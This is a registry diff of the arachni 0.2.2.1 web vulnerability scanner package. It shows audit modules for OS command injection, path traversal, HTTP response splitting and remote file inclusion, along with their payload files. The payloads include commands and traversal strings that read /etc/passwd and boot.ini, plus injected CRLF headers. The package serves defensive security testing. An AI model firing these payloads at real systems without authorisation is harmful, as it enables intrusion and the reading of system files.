arachni 0.2.2.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (262) hide show
  1. data/ACKNOWLEDGMENTS.md +14 -0
  2. data/AUTHORS.md +6 -0
  3. data/CHANGELOG.md +162 -0
  4. data/CONTRIBUTORS.md +10 -0
  5. data/EXPLOITATION.md +429 -0
  6. data/HACKING.md +101 -0
  7. data/LICENSE.md +341 -0
  8. data/README.md +350 -0
  9. data/Rakefile +86 -0
  10. data/bin/arachni +22 -0
  11. data/bin/arachni_web +77 -0
  12. data/bin/arachni_xmlrpc +21 -0
  13. data/bin/arachni_xmlrpcd +82 -0
  14. data/bin/arachni_xmlrpcd_monitor +74 -0
  15. data/conf/README.webui.yaml.txt +44 -0
  16. data/conf/webui.yaml +11 -0
  17. data/external/metasploit/LICENSE +24 -0
  18. data/external/metasploit/modules/exploits/unix/webapp/arachni_exec.rb +142 -0
  19. data/external/metasploit/modules/exploits/unix/webapp/arachni_path_traversal.rb +113 -0
  20. data/external/metasploit/modules/exploits/unix/webapp/arachni_php_eval.rb +150 -0
  21. data/external/metasploit/modules/exploits/unix/webapp/arachni_php_include.rb +141 -0
  22. data/external/metasploit/modules/exploits/unix/webapp/arachni_sqlmap.rb +92 -0
  23. data/external/metasploit/plugins/arachni.rb +536 -0
  24. data/getoptslong.rb +241 -0
  25. data/lib/anemone.rb +2 -0
  26. data/lib/anemone/cookie_store.rb +35 -0
  27. data/lib/anemone/core.rb +371 -0
  28. data/lib/anemone/exceptions.rb +5 -0
  29. data/lib/anemone/http.rb +144 -0
  30. data/lib/anemone/page.rb +337 -0
  31. data/lib/anemone/page_store.rb +160 -0
  32. data/lib/anemone/storage.rb +34 -0
  33. data/lib/anemone/storage/base.rb +75 -0
  34. data/lib/anemone/storage/exceptions.rb +15 -0
  35. data/lib/anemone/storage/mongodb.rb +89 -0
  36. data/lib/anemone/storage/pstore.rb +50 -0
  37. data/lib/anemone/storage/redis.rb +90 -0
  38. data/lib/anemone/storage/tokyo_cabinet.rb +57 -0
  39. data/lib/anemone/tentacle.rb +40 -0
  40. data/lib/arachni.rb +16 -0
  41. data/lib/audit_store.rb +346 -0
  42. data/lib/component_manager.rb +293 -0
  43. data/lib/component_options.rb +395 -0
  44. data/lib/exceptions.rb +76 -0
  45. data/lib/framework.rb +637 -0
  46. data/lib/http.rb +809 -0
  47. data/lib/issue.rb +302 -0
  48. data/lib/module.rb +4 -0
  49. data/lib/module/auditor.rb +455 -0
  50. data/lib/module/base.rb +188 -0
  51. data/lib/module/element_db.rb +158 -0
  52. data/lib/module/key_filler.rb +87 -0
  53. data/lib/module/manager.rb +87 -0
  54. data/lib/module/output.rb +68 -0
  55. data/lib/module/trainer.rb +240 -0
  56. data/lib/module/utilities.rb +110 -0
  57. data/lib/options.rb +547 -0
  58. data/lib/parser.rb +2 -0
  59. data/lib/parser/auditable.rb +522 -0
  60. data/lib/parser/elements.rb +296 -0
  61. data/lib/parser/page.rb +149 -0
  62. data/lib/parser/parser.rb +717 -0
  63. data/lib/plugin.rb +4 -0
  64. data/lib/plugin/base.rb +110 -0
  65. data/lib/plugin/manager.rb +162 -0
  66. data/lib/report.rb +4 -0
  67. data/lib/report/base.rb +119 -0
  68. data/lib/report/manager.rb +92 -0
  69. data/lib/rpc/xml/client/base.rb +71 -0
  70. data/lib/rpc/xml/client/dispatcher.rb +49 -0
  71. data/lib/rpc/xml/client/instance.rb +88 -0
  72. data/lib/rpc/xml/server/base.rb +90 -0
  73. data/lib/rpc/xml/server/dispatcher.rb +357 -0
  74. data/lib/rpc/xml/server/framework.rb +206 -0
  75. data/lib/rpc/xml/server/instance.rb +191 -0
  76. data/lib/rpc/xml/server/module/manager.rb +46 -0
  77. data/lib/rpc/xml/server/options.rb +124 -0
  78. data/lib/rpc/xml/server/output.rb +299 -0
  79. data/lib/rpc/xml/server/plugin/manager.rb +58 -0
  80. data/lib/ruby.rb +5 -0
  81. data/lib/ruby/object.rb +32 -0
  82. data/lib/ruby/string.rb +74 -0
  83. data/lib/ruby/xmlrpc/server.rb +27 -0
  84. data/lib/spider.rb +200 -0
  85. data/lib/typhoeus/request.rb +91 -0
  86. data/lib/typhoeus/response.rb +34 -0
  87. data/lib/ui/cli/cli.rb +744 -0
  88. data/lib/ui/cli/output.rb +279 -0
  89. data/lib/ui/web/log.rb +82 -0
  90. data/lib/ui/web/output_stream.rb +94 -0
  91. data/lib/ui/web/report_manager.rb +222 -0
  92. data/lib/ui/web/server.rb +903 -0
  93. data/lib/ui/web/server/db/placeholder +0 -0
  94. data/lib/ui/web/server/public/banner.png +0 -0
  95. data/lib/ui/web/server/public/bodybg-small.png +0 -0
  96. data/lib/ui/web/server/public/bodybg.png +0 -0
  97. data/lib/ui/web/server/public/css/smoothness/images/pbar-ani.gif +0 -0
  98. data/lib/ui/web/server/public/css/smoothness/images/ui-bg_flat_0_aaaaaa_40x100.png +0 -0
  99. data/lib/ui/web/server/public/css/smoothness/images/ui-bg_flat_75_ffffff_40x100.png +0 -0
  100. data/lib/ui/web/server/public/css/smoothness/images/ui-bg_glass_55_fbf9ee_1x400.png +0 -0
  101. data/lib/ui/web/server/public/css/smoothness/images/ui-bg_glass_65_ffffff_1x400.png +0 -0
  102. data/lib/ui/web/server/public/css/smoothness/images/ui-bg_glass_75_dadada_1x400.png +0 -0
  103. data/lib/ui/web/server/public/css/smoothness/images/ui-bg_glass_75_e6e6e6_1x400.png +0 -0
  104. data/lib/ui/web/server/public/css/smoothness/images/ui-bg_glass_95_fef1ec_1x400.png +0 -0
  105. data/lib/ui/web/server/public/css/smoothness/images/ui-bg_highlight-soft_75_cccccc_1x100.png +0 -0
  106. data/lib/ui/web/server/public/css/smoothness/images/ui-icons_222222_256x240.png +0 -0
  107. data/lib/ui/web/server/public/css/smoothness/images/ui-icons_2e83ff_256x240.png +0 -0
  108. data/lib/ui/web/server/public/css/smoothness/images/ui-icons_454545_256x240.png +0 -0
  109. data/lib/ui/web/server/public/css/smoothness/images/ui-icons_888888_256x240.png +0 -0
  110. data/lib/ui/web/server/public/css/smoothness/images/ui-icons_cd0a0a_256x240.png +0 -0
  111. data/lib/ui/web/server/public/css/smoothness/jquery-ui-1.8.9.custom.css +573 -0
  112. data/lib/ui/web/server/public/favicon.ico +0 -0
  113. data/lib/ui/web/server/public/footer.jpg +0 -0
  114. data/lib/ui/web/server/public/icons/error.png +0 -0
  115. data/lib/ui/web/server/public/icons/info.png +0 -0
  116. data/lib/ui/web/server/public/icons/ok.png +0 -0
  117. data/lib/ui/web/server/public/icons/status.png +0 -0
  118. data/lib/ui/web/server/public/js/jquery-1.4.4.min.js +167 -0
  119. data/lib/ui/web/server/public/js/jquery-ui-1.8.9.custom.min.js +781 -0
  120. data/lib/ui/web/server/public/logo.png +0 -0
  121. data/lib/ui/web/server/public/nav-left.jpg +0 -0
  122. data/lib/ui/web/server/public/nav-right.jpg +0 -0
  123. data/lib/ui/web/server/public/nav-selected-left.jpg +0 -0
  124. data/lib/ui/web/server/public/nav-selected-right.jpg +0 -0
  125. data/lib/ui/web/server/public/reports/placeholder +1 -0
  126. data/lib/ui/web/server/public/sidebar-bottom.jpg +0 -0
  127. data/lib/ui/web/server/public/sidebar-h4.jpg +0 -0
  128. data/lib/ui/web/server/public/sidebar-top.jpg +0 -0
  129. data/lib/ui/web/server/public/spider.png +0 -0
  130. data/lib/ui/web/server/public/style.css +604 -0
  131. data/lib/ui/web/server/tmp/placeholder +0 -0
  132. data/lib/ui/web/server/views/dispatcher.erb +85 -0
  133. data/lib/ui/web/server/views/dispatcher_error.erb +14 -0
  134. data/lib/ui/web/server/views/error.erb +1 -0
  135. data/lib/ui/web/server/views/flash.erb +18 -0
  136. data/lib/ui/web/server/views/home.erb +14 -0
  137. data/lib/ui/web/server/views/instance.erb +213 -0
  138. data/lib/ui/web/server/views/layout.erb +95 -0
  139. data/lib/ui/web/server/views/log.erb +40 -0
  140. data/lib/ui/web/server/views/modules.erb +71 -0
  141. data/lib/ui/web/server/views/options.erb +23 -0
  142. data/lib/ui/web/server/views/output_results.erb +51 -0
  143. data/lib/ui/web/server/views/plugins.erb +42 -0
  144. data/lib/ui/web/server/views/report_formats.erb +30 -0
  145. data/lib/ui/web/server/views/reports.erb +55 -0
  146. data/lib/ui/web/server/views/settings.erb +120 -0
  147. data/lib/ui/web/server/views/welcome.erb +38 -0
  148. data/lib/ui/xmlrpc/dispatcher_monitor.rb +204 -0
  149. data/lib/ui/xmlrpc/xmlrpc.rb +843 -0
  150. data/logs/placeholder +0 -0
  151. data/metamodules/autothrottle.rb +74 -0
  152. data/metamodules/timeout_notice.rb +118 -0
  153. data/metamodules/uniformity.rb +98 -0
  154. data/modules/audit/code_injection.rb +136 -0
  155. data/modules/audit/code_injection_timing.rb +115 -0
  156. data/modules/audit/code_injection_timing/payloads.txt +4 -0
  157. data/modules/audit/csrf.rb +301 -0
  158. data/modules/audit/ldapi.rb +103 -0
  159. data/modules/audit/ldapi/errors.txt +26 -0
  160. data/modules/audit/os_cmd_injection.rb +103 -0
  161. data/modules/audit/os_cmd_injection/payloads.txt +2 -0
  162. data/modules/audit/os_cmd_injection_timing.rb +104 -0
  163. data/modules/audit/os_cmd_injection_timing/payloads.txt +3 -0
  164. data/modules/audit/path_traversal.rb +141 -0
  165. data/modules/audit/response_splitting.rb +105 -0
  166. data/modules/audit/rfi.rb +193 -0
  167. data/modules/audit/sqli.rb +120 -0
  168. data/modules/audit/sqli/regexp_ids.txt +90 -0
  169. data/modules/audit/sqli_blind_rdiff.rb +321 -0
  170. data/modules/audit/sqli_blind_timing.rb +103 -0
  171. data/modules/audit/sqli_blind_timing/payloads.txt +51 -0
  172. data/modules/audit/trainer.rb +89 -0
  173. data/modules/audit/unvalidated_redirect.rb +90 -0
  174. data/modules/audit/xpath.rb +104 -0
  175. data/modules/audit/xpath/errors.txt +26 -0
  176. data/modules/audit/xss.rb +99 -0
  177. data/modules/audit/xss_event.rb +134 -0
  178. data/modules/audit/xss_path.rb +125 -0
  179. data/modules/audit/xss_script_tag.rb +112 -0
  180. data/modules/audit/xss_tag.rb +112 -0
  181. data/modules/audit/xss_uri.rb +125 -0
  182. data/modules/recon/allowed_methods.rb +104 -0
  183. data/modules/recon/backdoors.rb +131 -0
  184. data/modules/recon/backdoors/filenames.txt +16 -0
  185. data/modules/recon/backup_files.rb +177 -0
  186. data/modules/recon/backup_files/extensions.txt +28 -0
  187. data/modules/recon/common_directories.rb +138 -0
  188. data/modules/recon/common_directories/directories.txt +265 -0
  189. data/modules/recon/common_files.rb +138 -0
  190. data/modules/recon/common_files/filenames.txt +17 -0
  191. data/modules/recon/directory_listing.rb +171 -0
  192. data/modules/recon/grep/captcha.rb +62 -0
  193. data/modules/recon/grep/credit_card.rb +85 -0
  194. data/modules/recon/grep/cvs_svn_users.rb +73 -0
  195. data/modules/recon/grep/emails.rb +59 -0
  196. data/modules/recon/grep/html_objects.rb +53 -0
  197. data/modules/recon/grep/private_ip.rb +54 -0
  198. data/modules/recon/grep/ssn.rb +53 -0
  199. data/modules/recon/htaccess_limit.rb +82 -0
  200. data/modules/recon/http_put.rb +95 -0
  201. data/modules/recon/interesting_responses.rb +118 -0
  202. data/modules/recon/unencrypted_password_forms.rb +119 -0
  203. data/modules/recon/webdav.rb +126 -0
  204. data/modules/recon/xst.rb +107 -0
  205. data/path_extractors/anchors.rb +35 -0
  206. data/path_extractors/forms.rb +35 -0
  207. data/path_extractors/frames.rb +38 -0
  208. data/path_extractors/generic.rb +39 -0
  209. data/path_extractors/links.rb +35 -0
  210. data/path_extractors/meta_refresh.rb +39 -0
  211. data/path_extractors/scripts.rb +37 -0
  212. data/path_extractors/sitemap.rb +31 -0
  213. data/plugins/autologin.rb +137 -0
  214. data/plugins/content_types.rb +90 -0
  215. data/plugins/cookie_collector.rb +99 -0
  216. data/plugins/form_dicattack.rb +185 -0
  217. data/plugins/healthmap.rb +94 -0
  218. data/plugins/http_dicattack.rb +133 -0
  219. data/plugins/metamodules.rb +118 -0
  220. data/plugins/proxy.rb +248 -0
  221. data/plugins/proxy/server.rb +66 -0
  222. data/plugins/waf_detector.rb +184 -0
  223. data/profiles/comprehensive.afp +74 -0
  224. data/profiles/full.afp +75 -0
  225. data/reports/afr.rb +59 -0
  226. data/reports/ap.rb +55 -0
  227. data/reports/html.rb +179 -0
  228. data/reports/html/default.erb +967 -0
  229. data/reports/metareport.rb +139 -0
  230. data/reports/metareport/arachni_metareport.rb +174 -0
  231. data/reports/plugin_formatters/html/content_types.rb +82 -0
  232. data/reports/plugin_formatters/html/cookie_collector.rb +66 -0
  233. data/reports/plugin_formatters/html/form_dicattack.rb +54 -0
  234. data/reports/plugin_formatters/html/healthmap.rb +76 -0
  235. data/reports/plugin_formatters/html/http_dicattack.rb +54 -0
  236. data/reports/plugin_formatters/html/metaformatters/timeout_notice.rb +65 -0
  237. data/reports/plugin_formatters/html/metaformatters/uniformity.rb +71 -0
  238. data/reports/plugin_formatters/html/metamodules.rb +93 -0
  239. data/reports/plugin_formatters/html/waf_detector.rb +54 -0
  240. data/reports/plugin_formatters/stdout/content_types.rb +73 -0
  241. data/reports/plugin_formatters/stdout/cookie_collector.rb +61 -0
  242. data/reports/plugin_formatters/stdout/form_dicattack.rb +52 -0
  243. data/reports/plugin_formatters/stdout/healthmap.rb +72 -0
  244. data/reports/plugin_formatters/stdout/http_dicattack.rb +53 -0
  245. data/reports/plugin_formatters/stdout/metaformatters/timeout_notice.rb +55 -0
  246. data/reports/plugin_formatters/stdout/metaformatters/uniformity.rb +68 -0
  247. data/reports/plugin_formatters/stdout/metamodules.rb +89 -0
  248. data/reports/plugin_formatters/stdout/waf_detector.rb +48 -0
  249. data/reports/plugin_formatters/xml/content_types.rb +91 -0
  250. data/reports/plugin_formatters/xml/cookie_collector.rb +70 -0
  251. data/reports/plugin_formatters/xml/form_dicattack.rb +57 -0
  252. data/reports/plugin_formatters/xml/healthmap.rb +82 -0
  253. data/reports/plugin_formatters/xml/http_dicattack.rb +57 -0
  254. data/reports/plugin_formatters/xml/metaformatters/timeout_notice.rb +67 -0
  255. data/reports/plugin_formatters/xml/metaformatters/uniformity.rb +82 -0
  256. data/reports/plugin_formatters/xml/metamodules.rb +91 -0
  257. data/reports/plugin_formatters/xml/waf_detector.rb +58 -0
  258. data/reports/stdout.rb +182 -0
  259. data/reports/txt.rb +77 -0
  260. data/reports/xml.rb +231 -0
  261. data/reports/xml/buffer.rb +98 -0
  262. metadata +516 -0
@@ -0,0 +1,2 @@
1
+ /bin/cat /etc/passwd
2
+ type %SYSTEMROOT%\\win.ini
@@ -0,0 +1,104 @@
1
+ =begin
2
+ Arachni
3
+ Copyright (c) 2010-2011 Tasos "Zapotek" Laskos <tasos.laskos@gmail.com>
4
+
5
+ This is free software; you can copy and distribute and modify
6
+ this program under the term of the GPL v2.0 License
7
+ (See LICENSE file for details)
8
+
9
+ =end
10
+
11
+ module Arachni
12
+
13
+ module Modules
14
+
15
+ #
16
+ # OS command injection module using timing attacks.
17
+ #
18
+ # @author: Tasos "Zapotek" Laskos
19
+ # <tasos.laskos@gmail.com>
20
+ # <zapotek@segfault.gr>
21
+ # @version: 0.2
22
+ #
23
+ # @see http://cwe.mitre.org/data/definitions/78.html
24
+ # @see http://www.owasp.org/index.php/OS_Command_Injection
25
+ #
26
+ class OSCmdInjectionTiming < Arachni::Module::Base
27
+
28
+ include Arachni::Module::Utilities
29
+
30
+ def initialize( page )
31
+ super( page )
32
+ end
33
+
34
+ def prepare( )
35
+
36
+ @@__injection_str ||= []
37
+
38
+ if @@__injection_str.empty?
39
+ read_file( 'payloads.txt' ) {
40
+ |str|
41
+
42
+ [ '', '&&', '|', ';' ].each {
43
+ |sep|
44
+ @@__injection_str << sep + " " + str
45
+ }
46
+
47
+ @@__injection_str << "`" + str + "`"
48
+ }
49
+ end
50
+
51
+ @__opts = {
52
+ :format => [ Format::STRAIGHT ],
53
+ :timeout => 4000,
54
+ :timeout_divider => 1000
55
+ }
56
+
57
+ end
58
+
59
+ def run
60
+ audit_timeout( @@__injection_str, @__opts )
61
+ end
62
+
63
+ def self.info
64
+ {
65
+ :name => 'OS command injection (timing)',
66
+ :description => %q{Tries to find operating system command injections using timing attacks.},
67
+ :elements => [
68
+ Issue::Element::FORM,
69
+ Issue::Element::LINK,
70
+ Issue::Element::COOKIE,
71
+ Issue::Element::HEADER
72
+ ],
73
+ :author => 'Tasos "Zapotek" Laskos <tasos.laskos@gmail.com> ',
74
+ :version => '0.1',
75
+ :references => {
76
+ 'OWASP' => 'http://www.owasp.org/index.php/OS_Command_Injection'
77
+ },
78
+ :targets => { 'Generic' => 'all' },
79
+ :issue => {
80
+ :name => %q{Operating system command injection (timing attack)},
81
+ :description => %q{The web application allows an attacker to
82
+ execute arbitrary OS commands even though it does not return
83
+ the command output in the HTML body.
84
+ (This issue was discovered using a timing attack; timing attacks
85
+ can result in false positives in cases where the server takes
86
+ an abnormally long time to respond.
87
+ Either case, these issues will require further investigation
88
+ even if they are false positives.)},
89
+ :tags => [ 'os', 'command', 'code', 'injection', 'timing', 'blind' ],
90
+ :cwe => '78',
91
+ :severity => Issue::Severity::HIGH,
92
+ :cvssv2 => '9.0',
93
+ :remedy_guidance => %q{User inputs must be validated and filtered
94
+ before being evaluated as OS level commands.},
95
+ :remedy_code => '',
96
+ :metasploitable => 'unix/webapp/arachni_exec'
97
+ }
98
+
99
+ }
100
+ end
101
+
102
+ end
103
+ end
104
+ end
@@ -0,0 +1,3 @@
1
+ ping -n __TIME__ localhost
2
+ ping -c __TIME__ localhost
3
+ /usr/sbin/ping -s localhost 1000 10
@@ -0,0 +1,141 @@
1
+ =begin
2
+ Arachni
3
+ Copyright (c) 2010-2011 Tasos "Zapotek" Laskos <tasos.laskos@gmail.com>
4
+
5
+ This is free software; you can copy and distribute and modify
6
+ this program under the term of the GPL v2.0 License
7
+ (See LICENSE file for details)
8
+
9
+ =end
10
+
11
+ module Arachni
12
+
13
+ module Modules
14
+
15
+ #
16
+ # Path Traversal audit module.
17
+ #
18
+ # @author: Tasos "Zapotek" Laskos
19
+ # <tasos.laskos@gmail.com>
20
+ # <zapotek@segfault.gr>
21
+ # @version: 0.2.1
22
+ #
23
+ # @see http://cwe.mitre.org/data/definitions/22.html
24
+ # @see http://www.owasp.org/index.php/Path_Traversal
25
+ # @see http://projects.webappsec.org/Path-Traversal
26
+ #
27
+ class PathTraversal < Arachni::Module::Base
28
+
29
+ def initialize( page )
30
+ super( page )
31
+
32
+ @results = []
33
+ end
34
+
35
+ def prepare( )
36
+
37
+ #
38
+ # the way this works is pretty cool since it will actually
39
+ # exploit the vulnerability in order to verify that it worked
40
+ # which also means that the results of the exploitation will
41
+ # appear in the report.
42
+ #
43
+ # *but* we may run into a web page that details the structure of
44
+ # the 'passwd' file and get a false positive; so we need to check
45
+ # the html code in @page.html before checking the responses of the audit
46
+ # and give accurate feedback about the context in which the vulnerability
47
+ # was flagged.
48
+ #
49
+
50
+
51
+ @__trv = '../../../../../../../../../../../../../../../../'
52
+ @__ext = [
53
+ "",
54
+ "\0.htm",
55
+ "\0.html",
56
+ "\0.asp",
57
+ "\0.aspx",
58
+ "\0.php",
59
+ "\0.txt",
60
+ "\0.gif",
61
+ "\0.jpg",
62
+ "\0.jpeg",
63
+ "\0.png",
64
+ "\0.css"
65
+ ]
66
+
67
+ @__params = [
68
+ {
69
+ 'value' => 'etc/passwd',
70
+ 'regexp' => /\w+:.+:[0-9]+:[0-9]+:.+:[0-9a-zA-Z\/]+/i
71
+ },
72
+ {
73
+ 'value' => 'boot.ini',
74
+ 'regexp' => /\[boot loader\](.*)\[operating systems\]/i
75
+ }
76
+
77
+ ]
78
+
79
+ @__opts = {
80
+ # we don't want the Auditor to interfere with our injecion strings
81
+ :format => [ Format::STRAIGHT ],
82
+ }
83
+
84
+ end
85
+
86
+ def run( )
87
+
88
+ @__params.each {
89
+ |param|
90
+
91
+ @__opts[:regexp] = param['regexp']
92
+ @__ext.each {
93
+ |ext|
94
+
95
+ injection_str = @__trv + param['value'] + ext
96
+ audit( injection_str, @__opts )
97
+ }
98
+ }
99
+ end
100
+
101
+
102
+ def self.info
103
+ {
104
+ :name => 'PathTraversal',
105
+ :description => %q{It injects paths of common files (/etc/passwd and boot.ini)
106
+ and evaluates the existance of a path traversal vulnerability
107
+ based on the presence of relevant content in the HTML responses.},
108
+ :elements => [
109
+ Issue::Element::FORM,
110
+ Issue::Element::LINK,
111
+ Issue::Element::COOKIE,
112
+ Issue::Element::HEADER
113
+ ],
114
+ :author => 'Tasos "Zapotek" Laskos <tasos.laskos@gmail.com> ',
115
+ :version => '0.2.1',
116
+ :references => {
117
+ 'OWASP' => 'http://www.owasp.org/index.php/Path_Traversal',
118
+ 'WASC' => 'http://projects.webappsec.org/Path-Traversal'
119
+ },
120
+ :targets => { 'Generic' => 'all' },
121
+
122
+ :issue => {
123
+ :name => %q{Path Traversal},
124
+ :description => %q{The web application enforces improper limitation
125
+ of a pathname to a restricted directory.},
126
+ :tags => [ 'path', 'traversal', 'injection', 'regexp' ],
127
+ :cwe => '22',
128
+ :severity => Issue::Severity::MEDIUM,
129
+ :cvssv2 => '4.3',
130
+ :remedy_guidance => %q{User inputs must be validated and filtered
131
+ before being used as a part of a filesystem path.},
132
+ :remedy_code => '',
133
+ :metasploitable => 'unix/webapp/arachni_path_traversal'
134
+ }
135
+
136
+ }
137
+ end
138
+
139
+ end
140
+ end
141
+ end
@@ -0,0 +1,105 @@
1
+ =begin
2
+ Arachni
3
+ Copyright (c) 2010-2011 Tasos "Zapotek" Laskos <tasos.laskos@gmail.com>
4
+
5
+ This is free software; you can copy and distribute and modify
6
+ this program under the term of the GPL v2.0 License
7
+ (See LICENSE file for details)
8
+
9
+ =end
10
+
11
+ module Arachni
12
+
13
+ module Modules
14
+
15
+ #
16
+ # HTTP Response Splitting audit module.
17
+ #
18
+ # It audits links, forms and cookies.
19
+ #
20
+ #
21
+ # @author: Tasos "Zapotek" Laskos
22
+ # <tasos.laskos@gmail.com>
23
+ # <zapotek@segfault.gr>
24
+ # @version: 0.1.5
25
+ #
26
+ # @see http://cwe.mitre.org/data/definitions/20.html
27
+ # @see http://www.owasp.org/index.php/HTTP_Response_Splitting
28
+ # @see http://www.securiteam.com/securityreviews/5WP0E2KFGK.html
29
+ #
30
+ class ResponseSplitting < Arachni::Module::Base
31
+
32
+ def initialize( page )
33
+ super( page )
34
+
35
+ # initialize the header
36
+ @__header = ''
37
+
38
+ # initialize the array that will hold the results
39
+ @results = []
40
+ end
41
+
42
+ def prepare( )
43
+
44
+ # the header to inject...
45
+ # what we will check for in the response header
46
+ # is the existence of the "x-crlf-safe" field.
47
+ # if we find it it means that the attack was succesful
48
+ # thus site is vulnerable.
49
+ @__header = "\r\nX-CRLF-Safe: no"
50
+ end
51
+
52
+ def run( )
53
+
54
+ # try to inject the headers into all vectors
55
+ # and pass a block that will check for a positive result
56
+ audit( @__header, :param_flip => true ) {
57
+ |res, opts|
58
+ if res.headers_hash['X-CRLF-Safe'] &&
59
+ !res.headers_hash['X-CRLF-Safe'].empty?
60
+
61
+ opts[:injected] = URI.encode( opts[:injected] )
62
+ log( opts, res )
63
+ end
64
+ }
65
+ end
66
+
67
+
68
+ def self.info
69
+ {
70
+ :name => 'ResponseSplitting',
71
+ :description => %q{Tries to inject some data into the webapp and figure out
72
+ if any of them end up in the response header.},
73
+ :elements => [
74
+ Issue::Element::FORM,
75
+ Issue::Element::LINK,
76
+ Issue::Element::COOKIE,
77
+ Issue::Element::HEADER
78
+ ],
79
+ :author => 'Tasos "Zapotek" Laskos <tasos.laskos@gmail.com> ',
80
+ :version => '0.1.5',
81
+ :references => {
82
+ 'SecuriTeam' => 'http://www.securiteam.com/securityreviews/5WP0E2KFGK.html',
83
+ 'OWASP' => 'http://www.owasp.org/index.php/HTTP_Response_Splitting'
84
+ },
85
+ :targets => { 'Generic' => 'all' },
86
+
87
+ :issue => {
88
+ :name => %q{Response splitting},
89
+ :description => %q{The web application includes user input
90
+ in the response HTTP header.},
91
+ :tags => [ 'response', 'splitting', 'injection', 'header' ],
92
+ :cwe => '20',
93
+ :severity => Issue::Severity::MEDIUM,
94
+ :cvssv2 => '5.0',
95
+ :remedy_guidance => %q{User inputs must be validated and filtered
96
+ before being included as part of the HTTP response headers.},
97
+ :remedy_code => '',
98
+ }
99
+
100
+ }
101
+ end
102
+
103
+ end
104
+ end
105
+ end
@@ -0,0 +1,193 @@
1
+ =begin
2
+ $Id$
3
+
4
+ Arachni
5
+ Copyright (c) 2010-2011 Tasos "Zapotek" Laskos <tasos.laskos@gmail.com>
6
+
7
+ This is free software; you can copy and distribute and modify
8
+ this program under the term of the GPL v2.0 License
9
+ (See LICENSE file for details)
10
+
11
+ =end
12
+
13
+ module Arachni
14
+
15
+ module Modules
16
+
17
+ #
18
+ # Simple Remote File Inclusion tutorial module.
19
+ #
20
+ # It audits links, forms and cookies and will give you a good idea<br/>
21
+ # of how to write modules for Arachni.
22
+ #
23
+ #
24
+ # @author: Tasos "Zapotek" Laskos
25
+ # <tasos.laskos@gmail.com>
26
+ # <zapotek@segfault.gr>
27
+ # @version: 0.1.3
28
+ #
29
+ # @see http://cwe.mitre.org/data/definitions/94.html
30
+ # @see http://projects.webappsec.org/Remote-File-Inclusion
31
+ # @see http://en.wikipedia.org/wiki/Remote_File_Inclusion
32
+ #
33
+ class RFI < Arachni::Module::Base # *always* extend Arachni::Module::Base
34
+
35
+ #
36
+ # Arachni::Module::HTTP instance
37
+ #
38
+ # You don't really need to declare this,
39
+ # you inherit it from Arachni::Module
40
+ #
41
+ # It's an initialized object of the Arachni::Module::HTTP instance
42
+ # class configured with proxy, authentication, SSL settings etc.
43
+ #
44
+ # Look at Arachni::Module::HTTP instance doc to see what you get.
45
+ #
46
+ # If you need direct access to the Net::HTTP session you can get
47
+ # it from @http.session
48
+ #
49
+ # @return [Arachni::Module::HTTP]
50
+ #
51
+ attr_reader :http
52
+
53
+ #
54
+ # REQUIRED
55
+ #
56
+ # Initializes the module and the parent.
57
+ #
58
+ # @see Arachni::Module::Base
59
+ # @see Page
60
+ #
61
+ # @param [Page] page you can always expect this to be provided
62
+ # by the system.
63
+ #
64
+ def initialize( page )
65
+ # unless you want to do something freaky
66
+ # *do not* ommit the following line
67
+ super( page )
68
+
69
+ # init your stuff here
70
+ end
71
+
72
+ #
73
+ # OPTIONAL
74
+ #
75
+ # Gets called before any other method, right after initialization.
76
+ # It provides you with a way to setup your module's data.
77
+ #
78
+ # It may be redundant but it's optional anyways...
79
+ #
80
+ def prepare( )
81
+ #
82
+ # You can use print_debug() for debugging.
83
+ # Don't over-do ti though, debugging messages are supposed to
84
+ # be helpful don't flood the output.
85
+ #
86
+ # Debugging output will only appear if "--debug" is enabled.
87
+ #
88
+ print_debug( 'In prepare()' )
89
+
90
+ #
91
+ # you can setup your module's environment as you wish
92
+ # but it's good practice to prefix your attributes and methods
93
+ # with 2 underscores ( @__foo_attr, __foo_meth() )
94
+ #
95
+ @__opts = {}
96
+ @__opts[:substring] = '705cd559b16e6946826207c2199bd890'
97
+
98
+ # inject this url to assess RFI
99
+ @__injection_url = 'http://zapotek.github.com/arachni/rfi.md5.txt'
100
+
101
+
102
+ #
103
+ # the module can be made to detect XSS and many other kinds
104
+ # of attack just as easily if you adjust the above attributes
105
+ # accordingly.
106
+ #
107
+
108
+ end
109
+
110
+ #
111
+ # REQUIRED
112
+ #
113
+ # This is used to deliver the module's payload whatever it may be.
114
+ #
115
+ def run( )
116
+ print_debug( 'In run()' )
117
+
118
+ audit( @__injection_url, @__opts )
119
+ end
120
+
121
+ #
122
+ # OPTIONAL
123
+ #
124
+ # This is called after run() has finished executing,
125
+ # it allows you to clean up after yourself.
126
+ #
127
+ # May also be redundant but, once again, it's optional
128
+ #
129
+ def clean_up( )
130
+ print_debug( 'In clean_up()' )
131
+ end
132
+
133
+ #
134
+ # REQUIRED
135
+ #
136
+ # Do not ommit any of the info.
137
+ #
138
+ def self.info
139
+ {
140
+ :name => 'Remote File Inclusion',
141
+ :description => %q{It injects a remote URL in all available
142
+ inputs and checks for relevant content in the HTTP response body.},
143
+ #
144
+ # Arachni needs to know what elements the module plans to audit
145
+ # before invoking it. If a page doesn't have any of those elements
146
+ # there's no point putting the module in the thread queue.
147
+ #
148
+ # If you want the module to run no-matter what leave the array
149
+ # empty or don't define it at all.
150
+ #
151
+ :elements => [
152
+ Issue::Element::FORM,
153
+ Issue::Element::LINK,
154
+ Issue::Element::COOKIE,
155
+ Issue::Element::HEADER
156
+ ],
157
+ :author => 'Tasos "Zapotek" Laskos <tasos.laskos@gmail.com> ',
158
+ :version => '0.1.3',
159
+ :references => {
160
+ 'WASC' => 'http://projects.webappsec.org/Remote-File-Inclusion',
161
+ 'Wikipedia' => 'http://en.wikipedia.org/wiki/Remote_File_Inclusion'
162
+ },
163
+ :targets => { 'Generic' => 'all' },
164
+
165
+ :issue => {
166
+ :name => %q{Remote file inclusion},
167
+ :description => %q{The web application can be forced to include
168
+ 3rd party remote content which can often lead to arbitrary code
169
+ execution, amongst other attacks.},
170
+ :tags => [ 'remote', 'file', 'inclusion', 'injection', 'regexp' ],
171
+ :cwe => '94',
172
+ #
173
+ # Severity can be:
174
+ #
175
+ # Issue::Severity::HIGH
176
+ # Issue::Severity::MEDIUM
177
+ # Issue::Severity::LOW
178
+ # Issue::Severity::INFORMATIONAL
179
+ #
180
+ :severity => Issue::Severity::HIGH,
181
+ :cvssv2 => '7.5',
182
+ :remedy_guidance => %q{Enforce strict validation and filtering
183
+ on user inputs.},
